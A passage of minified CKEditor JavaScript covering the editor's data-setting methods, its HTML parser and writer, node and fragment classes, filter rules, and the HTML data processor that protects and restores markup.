(a=b.is("textarea")?b.getValue():b.getHtml())}return a},loadSnapshot:function(a){this.fire("loadSnapshot",a)},setData:function(a,b,c){var d=true,e=b;if(b&&typeof b=="object"){c=b.internal;e=b.callback;d=!b.noSnapshot}!c&&d&&this.fire("saveSnapshot");if(e||!c)this.once("dataReady",function(a){!c&&d&&this.fire("saveSnapshot");e&&e.call(a.editor)});a={dataValue:a};!c&&this.fire("setData",a);this._.data=a.dataValue;!c&&this.fire("afterSetData",a)},setReadOnly:function(a){a=a==null||a;if(this.readOnly!=
a){this.readOnly=a;this.keystrokeHandler.blockedKeystrokes[8]=+a;this.editable().setReadOnly(a);this.fire("readOnly")}},insertHtml:function(a,b){this.fire("insertHtml",{dataValue:a,mode:b})},insertText:function(a){this.fire("insertText",a)},insertElement:function(a){this.fire("insertElement",a)},focus:function(){this.fire("beforeFocus")},checkDirty:function(){return this.status=="ready"&&this._.previousValue!==this.getSnapshot()},resetDirty:function(){this._.previousValue=this.getSnapshot()},updateElement:function(){return y.call(this)},
setKeystroke:function(){for(var a=this.keystrokeHandler.keystrokes,b=CKEDITOR.tools.isArray(arguments[0])?arguments[0]:[[].slice.call(arguments,0)],c,d,e=b.length;e--;){c=b[e];d=0;if(CKEDITOR.tools.isArray(c)){d=c[1];c=c[0]}d?a[c]=d:delete a[c]}},addFeature:function(a){return this.filter.addFeature(a)},setActiveFilter:function(a){if(!a)a=this.filter;if(this.activeFilter!==a){this.activeFilter=a;this.fire("activeFilterChange");a===this.filter?this.setActiveEnterMode(null,null):this.setActiveEnterMode(a.getAllowedEnterMode(this.enterMode),
a.getAllowedEnterMode(this.shiftEnterMode,true))}},setActiveEnterMode:function(a,b){a=a?this.blockless?CKEDITOR.ENTER_BR:a:this.enterMode;b=b?this.blockless?CKEDITOR.ENTER_BR:b:this.shiftEnterMode;if(this.activeEnterMode!=a||this.activeShiftEnterMode!=b){this.activeEnterMode=a;this.activeShiftEnterMode=b;this.fire("activeEnterModeChange")}}})})();CKEDITOR.ELEMENT_MODE_NONE=0;CKEDITOR.ELEMENT_MODE_REPLACE=1;CKEDITOR.ELEMENT_MODE_APPENDTO=2;CKEDITOR.ELEMENT_MODE_INLINE=3;
CKEDITOR.htmlParser=function(){this._={htmlPartsRegex:/<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)--\>)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/g}};
(function(){var a=/([\w\-:.]+)(?:(?:\s*=\s*(?:(?:"([^"]*)")|(?:'([^']*)')|([^\s>]+)))|(?=\s|$))/g,f={checked:1,compact:1,declare:1,defer:1,disabled:1,ismap:1,multiple:1,nohref:1,noresize:1,noshade:1,nowrap:1,readonly:1,selected:1};CKEDITOR.htmlParser.prototype={onTagOpen:function(){},onTagClose:function(){},onText:function(){},onCDATA:function(){},onComment:function(){},parse:function(b){for(var c,e,d=0,h;c=this._.htmlPartsRegex.exec(b);){e=c.index;if(e>d){d=b.substring(d,e);if(h)h.push(d);else this.onText(d)}d=
this._.htmlPartsRegex.lastIndex;if(e=c[1]){e=e.toLowerCase();if(h&&CKEDITOR.dtd.$cdata[e]){this.onCDATA(h.join(""));h=null}if(!h){this.onTagClose(e);continue}}if(h)h.push(c[0]);else if(e=c[3]){e=e.toLowerCase();if(!/="/.test(e)){var k={},j,g=c[4];c=!!c[5];if(g)for(;j=a.exec(g);){var m=j[1].toLowerCase();j=j[2]||j[3]||j[4]||"";k[m]=!j&&f[m]?m:CKEDITOR.tools.htmlDecodeAttr(j)}this.onTagOpen(e,k,c);!h&&CKEDITOR.dtd.$cdata[e]&&(h=[])}}else if(e=c[2])this.onComment(e)}if(b.length>d)this.onText(b.substring(d,
b.length))}}})();
CKEDITOR.htmlParser.basicWriter=CKEDITOR.tools.createClass({$:function(){this._={output:[]}},proto:{openTag:function(a){this._.output.push("<",a)},openTagClose:function(a,f){f?this._.output.push(" />"):this._.output.push(">")},attribute:function(a,f){typeof f=="string"&&(f=CKEDITOR.tools.htmlEncodeAttr(f));this._.output.push(" ",a,'="',f,'"')},closeTag:function(a){this._.output.push("</",a,">")},text:function(a){this._.output.push(a)},comment:function(a){this._.output.push("<\!--",a,"--\>")},write:function(a){this._.output.push(a)},
reset:function(){this._.output=[];this._.indent=false},getHtml:function(a){var f=this._.output.join("");a&&this.reset();return f}}});"use strict";
(function(){CKEDITOR.htmlParser.node=function(){};CKEDITOR.htmlParser.node.prototype={remove:function(){var a=this.parent.children,f=CKEDITOR.tools.indexOf(a,this),b=this.previous,c=this.next;b&&(b.next=c);c&&(c.previous=b);a.splice(f,1);this.parent=null},replaceWith:function(a){var f=this.parent.children,b=CKEDITOR.tools.indexOf(f,this),c=a.previous=this.previous,e=a.next=this.next;c&&(c.next=a);e&&(e.previous=a);f[b]=a;a.parent=this.parent;this.parent=null},insertAfter:function(a){var f=a.parent.children,
b=CKEDITOR.tools.indexOf(f,a),c=a.next;f.splice(b+1,0,this);this.next=a.next;this.previous=a;a.next=this;c&&(c.previous=this);this.parent=a.parent},insertBefore:function(a){var f=a.parent.children,b=CKEDITOR.tools.indexOf(f,a);f.splice(b,0,this);this.next=a;(this.previous=a.previous)&&(a.previous.next=this);a.previous=this;this.parent=a.parent},getAscendant:function(a){var f=typeof a=="function"?a:typeof a=="string"?function(b){return b.name==a}:function(b){return b.name in a},b=this.parent;for(;b&&
b.type==CKEDITOR.NODE_ELEMENT;){if(f(b))return b;b=b.parent}return null},wrapWith:function(a){this.replaceWith(a);a.add(this);return a},getIndex:function(){return CKEDITOR.tools.indexOf(this.parent.children,this)},getFilterContext:function(a){return a||{}}}})();"use strict";CKEDITOR.htmlParser.comment=function(a){this.value=a;this._={isBlockLike:false}};
CKEDITOR.htmlParser.comment.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_COMMENT,filter:function(a,f){var b=this.value;if(!(b=a.onComment(f,b,this))){this.remove();return false}if(typeof b!="string"){this.replaceWith(b);return false}this.value=b;return true},writeHtml:function(a,f){f&&this.filter(f);a.comment(this.value)}});"use strict";
(function(){CKEDITOR.htmlParser.text=function(a){this.value=a;this._={isBlockLike:false}};CKEDITOR.htmlParser.text.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(a,f){if(!(this.value=a.onText(f,this.value,this))){this.remove();return false}},writeHtml:function(a,f){f&&this.filter(f);a.text(this.value)}})})();"use strict";
(function(){CKEDITOR.htmlParser.cdata=function(a){this.value=a};CKEDITOR.htmlParser.cdata.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_TEXT,filter:function(){},writeHtml:function(a){a.write(this.value)}})})();"use strict";CKEDITOR.htmlParser.fragment=function(){this.children=[];this.parent=null;this._={isBlockLike:true,hasInlineStarted:false}};
(function(){function a(a){return a.attributes["data-cke-survive"]?false:a.name=="a"&&a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var f=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),b={ol:1,ul:1},c=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1}),e={ul:"li",ol:"li",dl:"dd",table:"tbody",tbody:"tr",thead:"tr",tfoot:"tr",tr:"td"};CKEDITOR.htmlParser.fragment.fromHtml=
function(d,h,k){function j(a){var b;if(i.length>0)for(var c=0;c<i.length;c++){var d=i[c],e=d.name,f=CKEDITOR.dtd[e],l=u.name&&CKEDITOR.dtd[u.name];if((!l||l[e])&&(!a||!f||f[a]||!CKEDITOR.dtd[a])){if(!b){g();b=1}d=d.clone();d.parent=u;u=d;i.splice(c,1);c--}else if(e==u.name){y(u,u.parent,1);c--}}}function g(){for(;A.length;)y(A.shift(),u)}function m(a){if(a._.isBlockLike&&a.name!="pre"&&a.name!="textarea"){var b=a.children.length,c=a.children[b-1],d;if(c&&c.type==CKEDITOR.NODE_TEXT)(d=CKEDITOR.tools.rtrim(c.value))?
c.value=d:a.children.length=b-1}}function y(b,c,d){var c=c||u||t,e=u;if(b.previous===void 0){if(s(c,b)){u=c;q.onTagOpen(k,{});b.returnPoint=c=u}m(b);(!a(b)||b.children.length)&&c.add(b);b.name=="pre"&&(l=false);b.name=="textarea"&&(o=false)}if(b.returnPoint){u=b.returnPoint;delete b.returnPoint}else u=d?c:e}function s(a,b){if((a==t||a.name=="body")&&k&&(!a.name||CKEDITOR.dtd[a.name][k])){var c,d;return(c=b.attributes&&(d=b.attributes["data-cke-real-element-type"])?d:b.name)&&c in CKEDITOR.dtd.$inline&&
!(c in CKEDITOR.dtd.head)&&!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function w(a,b){return a in CKEDITOR.dtd.$listItem||a in CKEDITOR.dtd.$tableContent?a==b||a=="dt"&&b=="dd"||a=="dd"&&b=="dt":false}var q=new CKEDITOR.htmlParser,t=h instanceof CKEDITOR.htmlParser.element?h:typeof h=="string"?new CKEDITOR.htmlParser.element(h):new CKEDITOR.htmlParser.fragment,i=[],A=[],u=t,o=t.name=="textarea",l=t.name=="pre";q.onTagOpen=function(d,e,h,m){e=new CKEDITOR.htmlParser.element(d,e);if(e.isUnknown&&h)e.isEmpty=
true;e.isOptionalClose=m;if(a(e))i.push(e);else{if(d=="pre")l=true;else{if(d=="br"&&l){u.add(new CKEDITOR.htmlParser.text("\n"));return}d=="textarea"&&(o=true)}if(d=="br")A.push(e);else{for(;;){m=(h=u.name)?CKEDITOR.dtd[h]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!e.isUnknown&&!u.isUnknown&&!m[d])if(u.isOptionalClose)q.onTagClose(h);else if(d in b&&h in b){h=u.children;(h=h[h.length-1])&&h.name=="li"||y(h=new CKEDITOR.htmlParser.element("li"),u);!e.returnPoint&&(e.returnPoint=u);
u=h}else if(d in CKEDITOR.dtd.$listItem&&!w(d,h))q.onTagOpen(d=="li"?"ul":"dl",{},0,1);else if(h in f&&!w(d,h)){!e.returnPoint&&(e.returnPoint=u);u=u.parent}else{h in CKEDITOR.dtd.$inline&&i.unshift(u);if(u.parent)y(u,u.parent,1);else{e.isOrphan=1;break}}else break}j(d);g();e.parent=u;e.isEmpty?y(e):u=e}}};q.onTagClose=function(a){for(var b=i.length-1;b>=0;b--)if(a==i[b].name){i.splice(b,1);return}for(var c=[],d=[],e=u;e!=t&&e.name!=a;){e._.isBlockLike||d.unshift(e);c.push(e);e=e.returnPoint||e.parent}if(e!=
t){for(b=0;b<c.length;b++){var f=c[b];y(f,f.parent)}u=e;e._.isBlockLike&&g();y(e,e.parent);if(e==u)u=u.parent;i=i.concat(d)}a=="body"&&(k=false)};q.onText=function(a){if((!u._.hasInlineStarted||A.length)&&!l&&!o){a=CKEDITOR.tools.ltrim(a);if(a.length===0)return}var b=u.name,d=b?CKEDITOR.dtd[b]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!o&&!d["#"]&&b in f){q.onTagOpen(e[b]||"");q.onText(a)}else{g();j();!l&&!o&&(a=a.replace(/[\t\r\n ]{2,}|[\t\r\n]/g," "));a=new CKEDITOR.htmlParser.text(a);
if(s(u,a))this.onTagOpen(k,{},0,1);u.add(a)}};q.onCDATA=function(a){u.add(new CKEDITOR.htmlParser.cdata(a))};q.onComment=function(a){g();j();u.add(new CKEDITOR.htmlParser.comment(a))};q.parse(d);for(g();u!=t;)y(u,u.parent,1);m(t);return t};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&&(b=this.children.length);var c=b>0?this.children[b-1]:null;if(c){if(a._.isBlockLike&&c.type==CKEDITOR.NODE_TEXT){c.value=CKEDITOR.tools.rtrim(c.value);if(c.value.length===
0){this.children.pop();this.add(a);return}}c.next=a}a.previous=c;a.parent=this;this.children.splice(b,0,a);if(!this._.hasInlineStarted)this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&&!a._.isBlockLike},filter:function(a,b){b=this.getFilterContext(b);a.onRoot(b,this);this.filterChildren(a,false,b)},filterChildren:function(a,b,c){if(this.childrenFilteredBy!=a.id){c=this.getFilterContext(c);if(b&&!this.parent)a.onRoot(c,this);this.childrenFilteredBy=a.id;for(b=0;b<this.children.length;b++)this.children[b].filter(a,
c)===false&&b--}},writeHtml:function(a,b){b&&this.filter(b);this.writeChildrenHtml(a)},writeChildrenHtml:function(a,b,c){var e=this.getFilterContext();if(c&&!this.parent&&b)b.onRoot(e,this);b&&this.filterChildren(b,false,e);b=0;c=this.children;for(e=c.length;b<e;b++)c[b].writeHtml(a)},forEach:function(a,b,c){if(!c&&(!b||this.type==b))var e=a(this);if(e!==false)for(var c=this.children,f=0;f<c.length;f++){e=c[f];e.type==CKEDITOR.NODE_ELEMENT?e.forEach(a,b):(!b||e.type==b)&&a(e)}},getFilterContext:function(a){return a||
{}}}})();"use strict";
(function(){function a(){this.rules=[]}function f(b,c,e,d){var f,k;for(f in c){(k=b[f])||(k=b[f]=new a);k.add(c[f],e,d)}}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(b){this.id=CKEDITOR.tools.getNextNumber();this.elementNameRules=new a;this.attributeNameRules=new a;this.elementsRules={};this.attributesRules={};this.textRules=new a;this.commentRules=new a;this.rootRules=new a;b&&this.addRules(b,10)},proto:{addRules:function(a,c){var e;if(typeof c=="number")e=c;else if(c&&"priority"in
c)e=c.priority;typeof e!="number"&&(e=10);typeof c!="object"&&(c={});a.elementNames&&this.elementNameRules.addMany(a.elementNames,e,c);a.attributeNames&&this.attributeNameRules.addMany(a.attributeNames,e,c);a.elements&&f(this.elementsRules,a.elements,e,c);a.attributes&&f(this.attributesRules,a.attributes,e,c);a.text&&this.textRules.add(a.text,e,c);a.comment&&this.commentRules.add(a.comment,e,c);a.root&&this.rootRules.add(a.root,e,c)},applyTo:function(a){a.filter(this)},onElementName:function(a,c){return this.elementNameRules.execOnName(a,
c)},onAttributeName:function(a,c){return this.attributeNameRules.execOnName(a,c)},onText:function(a,c,e){return this.textRules.exec(a,c,e)},onComment:function(a,c,e){return this.commentRules.exec(a,c,e)},onRoot:function(a,c){return this.rootRules.exec(a,c)},onElement:function(a,c){for(var e=[this.elementsRules["^"],this.elementsRules[c.name],this.elementsRules.$],d,f=0;f<3;f++)if(d=e[f]){d=d.exec(a,c,this);if(d===false)return null;if(d&&d!=c)return this.onNode(a,d);if(c.parent&&!c.name)break}return c},
onNode:function(a,c){var e=c.type;return e==CKEDITOR.NODE_ELEMENT?this.onElement(a,c):e==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(a,c.value)):e==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a,c.value)):null},onAttribute:function(a,c,e,d){return(e=this.attributesRules[e])?e.exec(a,d,c,this):d}}});CKEDITOR.htmlParser.filterRulesGroup=a;a.prototype={add:function(a,c,e){this.rules.splice(this.findIndex(c),0,{value:a,priority:c,options:e})},addMany:function(a,
c,e){for(var d=[this.findIndex(c),0],f=0,k=a.length;f<k;f++)d.push({value:a[f],priority:c,options:e});this.rules.splice.apply(this.rules,d)},findIndex:function(a){for(var c=this.rules,e=c.length-1;e>=0&&a<c[e].priority;)e--;return e+1},exec:function(a,c){var e=c instanceof CKEDITOR.htmlParser.node||c instanceof CKEDITOR.htmlParser.fragment,d=Array.prototype.slice.call(arguments,1),f=this.rules,k=f.length,j,g,m,y;for(y=0;y<k;y++){if(e){j=c.type;g=c.name}m=f[y];if(!(a.nonEditable&&!m.options.applyToAll||
a.nestedEditable&&m.options.excludeNestedEditable)){m=m.value.apply(null,d);if(m===false||e&&m&&(m.name!=g||m.type!=j))return m;m!=null&&(d[0]=c=m)}}return c},execOnName:function(a,c){for(var e=0,d=this.rules,f=d.length,k;c&&e<f;e++){k=d[e];!(a.nonEditable&&!k.options.applyToAll||a.nestedEditable&&k.options.excludeNestedEditable)&&(c=c.replace(k.value[0],k.value[1]))}return c}}})();
(function(){function a(a,f){function p(a){return a||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(" "):new CKEDITOR.htmlParser.element("br",{"data-cke-bogus":1})}function r(a,e){return function(f){if(f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var i=[],l=b(f),x,r;if(l)for(v(l,1)&&i.push(l);l;){if(d(l)&&(x=c(l))&&v(x))if((r=c(x))&&!d(r))i.push(x);else{p(g).insertAfter(x);x.remove()}l=l.previous}for(l=0;l<i.length;l++)i[l].remove();if(i=!a||(typeof e=="function"?e(f):e)!==false)if(!g&&!CKEDITOR.env.needsBrFiller&&
f.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)i=false;else if(!g&&!CKEDITOR.env.needsBrFiller&&(document.documentMode>7||f.name in CKEDITOR.dtd.tr||f.name in CKEDITOR.dtd.$listItem))i=false;else{i=b(f);i=!i||f.name=="form"&&i.name=="input"}i&&f.add(p(a))}}}function v(a,b){if((!g||CKEDITOR.env.needsBrFiller)&&a.type==CKEDITOR.NODE_ELEMENT&&a.name=="br"&&!a.attributes["data-cke-eol"])return true;var c;if(a.type==CKEDITOR.NODE_TEXT&&(c=a.value.match(i))){if(c.index){(new CKEDITOR.htmlParser.text(a.value.substring(0,
c.index))).insertBefore(a);a.value=c[0]}if(!CKEDITOR.env.needsBrFiller&&g&&(!b||a.parent.name in z))return true;if(!g)if((c=a.previous)&&c.name=="br"||!c||d(c))return true}return false}var n={elements:{}},g=f=="html",z=CKEDITOR.tools.extend({},l),o;for(o in z)"#"in u[o]||delete z[o];for(o in z)n.elements[o]=r(g,a.config.fillEmptyBlocks);n.root=r(g,false);n.elements.br=function(a){return function(b){if(b.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var f=b.attributes;if("data-cke-bogus"in f||"data-cke-eol"in
f)delete f["data-cke-bogus"];else{for(f=b.next;f&&e(f);)f=f.next;var i=c(b);!f&&d(b.parent)?h(b.parent,p(a)):d(f)&&(i&&!d(i))&&p(a).insertBefore(f)}}}}(g);return n}function f(a,b){return a!=CKEDITOR.ENTER_BR&&b!==false?a==CKEDITOR.ENTER_DIV?"div":"p":false}function b(a){for(a=a.children[a.children.length-1];a&&e(a);)a=a.previous;return a}function c(a){for(a=a.previous;a&&e(a);)a=a.previous;return a}function e(a){return a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&&
a.attributes["data-cke-bookmark"]}function d(a){return a&&(a.type==CKEDITOR.NODE_ELEMENT&&a.name in l||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function h(a,b){var c=a.children[a.children.length-1];a.children.push(b);b.parent=a;if(c){c.next=b;b.previous=c}}function k(a){a=a.attributes;a.contenteditable!="false"&&(a["data-cke-editable"]=a.contenteditable?"true":1);a.contenteditable="false"}function j(a){a=a.attributes;switch(a["data-cke-editable"]){case "true":a.contenteditable="true";break;case "1":delete a.contenteditable}}
function g(a){return a.replace(C,function(a,b,c){return"<"+b+c.replace(L,function(a,b){return F.test(b)&&c.indexOf("data-cke-saved-"+b)==-1?" data-cke-saved-"+a+" data-cke-"+CKEDITOR.rnd+"-"+a:a})+">"})}function m(a,b){return a.replace(b,function(a,b,c){a.indexOf("<textarea")===0&&(a=b+w(c).replace(/</g,"&lt;").replace(/>/g,"&gt;")+"</textarea>");return"<cke:encoded>"+encodeURIComponent(a)+"</cke:encoded>"})}function y(a){return a.replace(v,function(a,b){return decodeURIComponent(b)})}function s(a){return a.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g,
function(a){return"<\!--"+A+"{C}"+encodeURIComponent(a).replace(/--/g,"%2D%2D")+"--\>"})}function w(a){return a.replace(/<\!--\{cke_protected\}\{C\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)})}function q(a,b){var c=b._.dataStore;return a.replace(/<\!--\{cke_protected\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return c&&c[b]||""})}function t(a,b){for(var c=[],d=b.config.protectedSource,e=b._.dataStore||(b._.dataStore=
{id:1}),f=/<\!--\{cke_temp(comment)?\}(\d*?)--\>/g,d=[/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi,/<meta[\s\S]*?\/?>/gi].concat(d),a=a.replace(/<\!--[\s\S]*?--\>/g,function(a){return"<\!--{cke_tempcomment}"+(c.push(a)-1)+"--\>"}),i=0;i<d.length;i++)a=a.replace(d[i],function(a){a=a.replace(f,function(a,b,d){return c[d]});return/cke_temp(comment)?/.test(a)?a:"<\!--{cke_temp}"+(c.push(a)-1)+"--\>"});a=a.replace(f,function(a,b,d){return"<\!--"+A+(b?"{C}":"")+encodeURIComponent(c[d]).replace(/--/g,
"%2D%2D")+"--\>"});a=a.replace(/<\w+(?:\s+(?:(?:[^\s=>]+\s*=\s*(?:[^'"\s>]+|'[^']*'|"[^"]*"))|[^\s=>]+))+\s*>/g,function(a){return a.replace(/<\!--\{cke_protected\}([^>]*)--\>/g,function(a,b){e[e.id]=decodeURIComponent(b);return"{cke_protected_"+e.id++ +"}"})});return a=a.replace(/<(title|iframe|textarea)([^>]*)>([\s\S]*?)<\/\1>/g,function(a,c,d,e){return"<"+c+d+">"+q(w(e),b)+"</"+c+">"})}CKEDITOR.htmlDataProcessor=function(b){var c,d,e=this;this.editor=b;this.dataFilter=c=new CKEDITOR.htmlParser.filter;
this.htmlFilter=d=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;c.addRules(p);c.addRules(r,{applyToAll:true});c.addRules(a(b,"data"),{applyToAll:true});d.addRules(n);d.addRules(P,{applyToAll:true});d.addRules(a(b,"html"),{applyToAll:true});b.on("toHtml",function(a){var a=a.data,c=a.dataValue,d,c=t(c,b),c=m(c,I),c=g(c),c=m(c,K),c=c.replace(G,"$1cke:$2"),c=c.replace(B,"<cke:$1$2></cke:$1>"),c=c.replace(/(<pre\b[^>]*>)(\r\n|\n)/g,"$1$2$2"),c=c.replace(/([^a-z0-9<\-])(on\w{3,})(?!>)/gi,
"$1data-cke-"+CKEDITOR.rnd+"-$2");d=a.context||b.editable().getName();var e;if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&d=="pre"){d="div";c="<pre>"+c+"</pre>";e=1}d=b.document.createElement(d);d.setHtml("a"+c);c=d.getHtml().substr(1);c=c.replace(RegExp("data-cke-"+CKEDITOR.rnd+"-","ig"),"");e&&(c=c.replace(/^<pre>|<\/pre>$/gi,""));c=c.replace(z,"$1$2");c=y(c);c=w(c);d=a.fixForBody===false?false:f(a.enterMode,b.config.autoParagraph);c=CKEDITOR.htmlParser.fragment.fromHtml(c,a.context,d);if(d){e=c;
if(!e.children.length&&CKEDITOR.dtd[e.name][d]){d=new CKEDITOR.htmlParser.element(d);e.add(d)}}a.dataValue=c},null,null,5);b.on("toHtml",function(a){a.data.filter.applyTo(a.data.dataValue,true,a.data.dontFilter,a.data.enterMode)&&b.fire("dataFiltered")},null,null,6);b.on("toHtml",function(a){a.data.dataValue.filterChildren(e.dataFilter,true)},null,null,10);b.on("toHtml",function(a){var a=a.data,b=a.dataValue,c=new CKEDITOR.htmlParser.basicWriter;b.writeChildrenHtml(c);b=c.getHtml(true);a.dataValue=
s(b)},null,null,15);b.on("toDataFormat",function(a){var c=a.data.dataValue;a.data.enterMode!=CKEDITOR.ENTER_BR&&(c=c.replace(/^<br *\/?>/i,""));a.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(c,a.data.context,f(a.data.enterMode,b.config.autoParagraph))},null,null,5);b.on("toDataFormat",function(a){a.data.dataValue.filterChildren(e.htmlFilter,true)},null,null,10);b.on("toDataFormat",function(a){a.data.filter.applyTo(a.data.dataValue,false,true)},null,null,11);b.on("toDataFormat",function(a){var c=
a.data.dataValue,d=e.writer;d.reset();c.writeChildrenHtml(d);c=d.getHtml(true);c=w(c);c=q(c,b);a.data.dataValue=c},null,null,15)};CKEDITOR.htmlDataProcessor.prototype={toHtml:function(a,b,c,d){var e=this.editor,f,i,l;if(b&&typeof b=="object"){f=b.context;c=b.fixForBody;d=b.dontFilter;i=b.filter;l=b.enterMode}else f=b;!f&&f!==null&&(f=e.editable().getName());return e.fire("toHtml",{dataValue:a,context:f,fixForBody:c,dontFilter:d,filter:i||e.filter,enterMode:l||e.enterMode}).dataValue},toDataFormat:function(a,
b){var c,d,e;if(b){c=b.context;d=b.filter;e=b.enterMode}!c&&c!==null&&(c=this.editor.editable().getName());return this.editor.fire("toDataFormat",{dataValue:a,filter:d||this.editor.filter,context:c,enterMode:e||this.editor.enterMode}).dataValue}};var i=/(?:&nbsp;|\xa0)$/,A="{cke_protected}",u=CKEDITOR.dtd,o=["caption","colgroup","col","thead","tfoot","tbody"],l=CKEDITOR.tools.extend({},u.$blockLimit,u.$block),p={elements:{input:k,textarea:k}},r={attributeNames:[[/^on/,"data-cke-pa-on"],[/^data-cke-expando$/,
""]]},n={elements:{embed:function(a){var b=a.parent;if(b&&b.name=="object"){var c=b.attributes.width,b=b.attributes.height;if(c)a.attributes.width=c;if(b)a.attributes.height=b}},a:function(a){if(!a.children.length&&!a.attributes.name&&!a.attributes["data-cke-saved-name"])return false}}},P={elementNames:[[/^cke:/,""],[/^\?xml:namespace$/,""]],attributeNames:[[/^data-cke-(saved|pa)-/,""],[/^data-cke-.*/,""],["hidefocus",""]],elements:{$:function(a){var b=a.attributes;if(b){if(b["data-cke-temp"])return false;
for(var c=["name","href","src"],d,e=0;e<c.length;e++){d="data-cke-saved-"+c[e];d in b&&delete b[c[e]]}}return a},table:function(a){a.children.slice(0).sort(function(a,b){var c,d;if(a.type==CKEDITOR.NODE_ELEMENT&&b.type==a.type){c=CKEDITOR.tools.indexOf(o,a.name);d=CKEDITOR.tools.indexOf(o,b.name)}if(!(c>-1&&d>-1&&c!=d)){c=a.parent?a.getIndex():-1;d=b.parent?b.getIndex():-1}return c>d?1:-1})},param:function(a){a.children=[];a.isEmpty=true;return a},span:function(a){a.attributes["class"]=="Apple-style-span"&&
delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes["class"]},body:function(a){delete a.attributes.spellcheck;delete a.attributes.contenteditable},style:function(a){var b=a.children[0];if(b&&b.value)b.value=CKEDITOR.tools.trim(b.value);if(!a.attributes.type)a.attributes.type="text/css"},title:function(a){var b=a.children[0];!b&&h(a,b=new CKEDITOR.htmlParser.text);b.value=a.attributes["data-cke-title"]||""},input:j,textarea:j},attributes:{"class":function(a){return CKEDITOR.tools.ltrim(a.replace(/(?:^|\s+)cke_[^\s]*/g,
""))||false}}};if(CKEDITOR.env.ie)P.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,function(a){return a.toLowerCase()})};var C=/<(a|area|img|input|source)\b([^>]*)>/gi,L=/([\w-]+)\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|(?:[^ "'>]+))/gi,F=/^(href|src|name)$/i,K=/(?:<style(?=[ >])[^>]*>[\s\S]*?<\/style>)|(?:<(:?link|meta|base)[^>]*>)/gi,I=/(<textarea(?=[ >])[^>]*>)([\s\S]*?)(?:<\/textarea>)/gi,v=/<cke:encoded>([^<]*)<\/cke:encoded>/gi,G=/(<\/?)((?:object|embed|param|html|body|head|title)[^>]*>)/gi,
z=/(<\/?)cke:((?:html|body|head|title)[^>]*>)/gi,B=/<cke:(param|embed)([^>]*?)\/?>(?!\s*<\/cke:\1)/gi})();"use strict";
CKEDITOR.htmlParser.element=function(a,f){this.name=a;this.attributes=f||{};this.children=[];var b=a||"",c=b.match(/^cke:(.*)/);c&&(b=c[1]);b=!(!CKEDITOR.dtd.$nonBodyContent[b]&&!CKEDITOR.dtd.$block[b]&&!CKEDITOR.dtd.$listItem[b]&&!CKEDITOR.dtd.$tableContent[b]&&!(CKEDITOR.dtd.$nonEditable[b]||b=="br"));this.isEmpty=!!CKEDITOR.dtd.$empty[a];this.isUnknown=!CKEDITOR.dtd[a];this._={isBlockLike:b,hasInlineStarted:this.isEmpty||!b}};
CKEDITOR.htmlParser.cssStyle=function(a){var f={};((a instanceof CKEDITOR.htmlParser.element?a.attributes.style:a)||"").replace(/&quot;/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,c,e){c=="font-family"&&(e=e.replace(/["']/g,""));f[c.toLowerCase()]=e});return{rules:f,populate:function(a){var c=this.toString();if(c)a instanceof CKEDITOR.dom.element?a.setAttribute("style",c):a instanceof CKEDITOR.htmlParser.element?a.attributes.style=c:a.style=c},toString:function(){var a=[],c;
for(c in f)f[c]&&a.push(c,":",f[c],";");return a.join("")}}};
(function(){function a(a){return function(b){return b.type==CKEDITOR.NODE_ELEMENT&&(typeof a=="string"?b.name==a:b.name in a)}}var f=function(a,b){a=a[0];b=b[0];return a<b?-1:a>b?1:0},b=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:b.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},filter:function(a,b){var d=this,f,k,b=d.getFilterContext(b);if(b.off)return true;
